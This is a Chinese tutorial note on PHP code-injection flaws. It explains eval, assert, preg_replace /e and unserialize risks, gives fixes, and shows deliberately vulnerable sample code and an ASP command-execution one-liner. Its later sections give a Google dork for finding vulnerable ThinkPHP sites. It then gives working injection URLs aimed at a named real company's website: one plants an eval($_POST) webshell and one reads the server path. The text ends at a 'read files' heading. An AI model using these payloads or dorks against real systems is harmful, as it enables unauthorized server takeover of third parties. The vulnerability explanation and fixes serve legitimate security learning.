9_任意代码执行(字符串转换成代码执行)
一、背景介绍
当应用在调用一些能将字符串转化为代码的函数(如php中的eval)时,没有考虑用户是否能控制这个字符串,将造成代码注入漏洞。狭义的代码注入通常指将可执行代码注入到当前页面中,如php的eval函数,可以将字符串代表的代码作为php代码执行,当用户能够控制这段字符串时,将产生代码注入代码注入漏洞(也称命令执行)。广义上的代码注入,可以覆盖大半安全漏洞的分类。
二、漏洞成因
几种常用语言,都有将字符串转化成代码去执行的相关函数。
PHP:eval assert
Python:exec
Java:Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如:OGNL、SpEL、MVEL等。
asp:<%=CreateObject(“wscript.shell”).exec(“cmd.exe /c ipconfig”).StdOut.ReadAll()%>
问题一:为什么使用执行代码函数?
答:应用有时候会考虑灵活性、简洁性,在代码中调用eval之类的函数去处理。例如phpcms中很常用的string2array函数。其实settings表示一个字符串形式的"php数组",我们必须要用eval函数才能将"字符串"变成一个真正的数组,所以这也是phpcms里多次调用string2array函数的主要原因。
成因:很多CMS为了设置的灵活性,都会选择用eval来处理内容。但处理的同时并没有检查用户是否可以控制被处理的"字符串"。
三、漏洞分类
1.执行代码的函数 eval assert
2.callback函数 preg_replace + /e模式
3.反序列化可能导致代码执行 unserialize()反序列化函数
4.文件包含漏洞(见文件包含漏洞)
四、漏洞危害
1.执行任意代码
2.向网站写webshell
3.甚至控制服务器
五、漏洞利用(一般有两种:直接在url里写webshell 连接一句话)
1.首先要知道在哪里会有漏洞?潜在漏洞的点:
PHP中能造成代码注入的主要函数:
eval() assert() preg_replace()+/e模式 unserialize()(反序列化函数)
2.本地测试例子
2.1漏洞代码
<?php $data=$_GET['data']; eval("\$ret = $data"); echo $ret; ?>
2.2漏洞代码
<?php $data=$_GET['data']; echo "\$ret = '$data';"; eval("\$ret = strtolower('$data');"); echo $ret; ?>
2.3漏洞代码
<?php $data=$_GET['data']; echo "\$ret=strtolower(\"$data\");"; eval("$ret=strtolower(\"$data\");"); ?>
2.4漏洞代码
<?php $data=$_GET['data']; echo $data; preg_replace('/<data>(.*)<\/data>/e','$ret="\\1";',$data); echo $ret; ?>
六、修复方案
1.针对eval()函数
能使用json保存数组、对象就使用json,不要将php对象保存成字符串,否则读取的时候需要使用eval。
对于必须使用eval的情况,一定要保证用户不能轻易接触eval的参数(或用正则严格判断输入的数据格式)。
对于字符串,一定要使用单引号包裹可控代码,并再插入前进行addslashes()。
2.针对preg_replace函数
放弃使用preg_replace的e修饰符。使用preg_replace_callback()替换。
如果非要使用preg_replace()+e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹。
七、找实例
1.扫描器扫出来 awvs
2.特定的cms版本会有漏洞
3.Thinkphp2.1 2.2 3.1
google搜索语法: intext:thinkphp intext:"Fast & Simple OOP PHP Framework" intext:"2.1"
MVC框架:
/News/detail/item/850
模块 方法 参数名 参数值
八、利用方法
1.一句话(在参数值位置写入):
http://www.sinosteelchem.com/product_detail_en/id/%7B$%7B@eval($_POST[123])%7D%7D
2.获取当前路径
http://www.sinosteelchem.com/product_detail_en/id/%7B$%7Bprint%20(getcwd())%7D%7D
3.读文件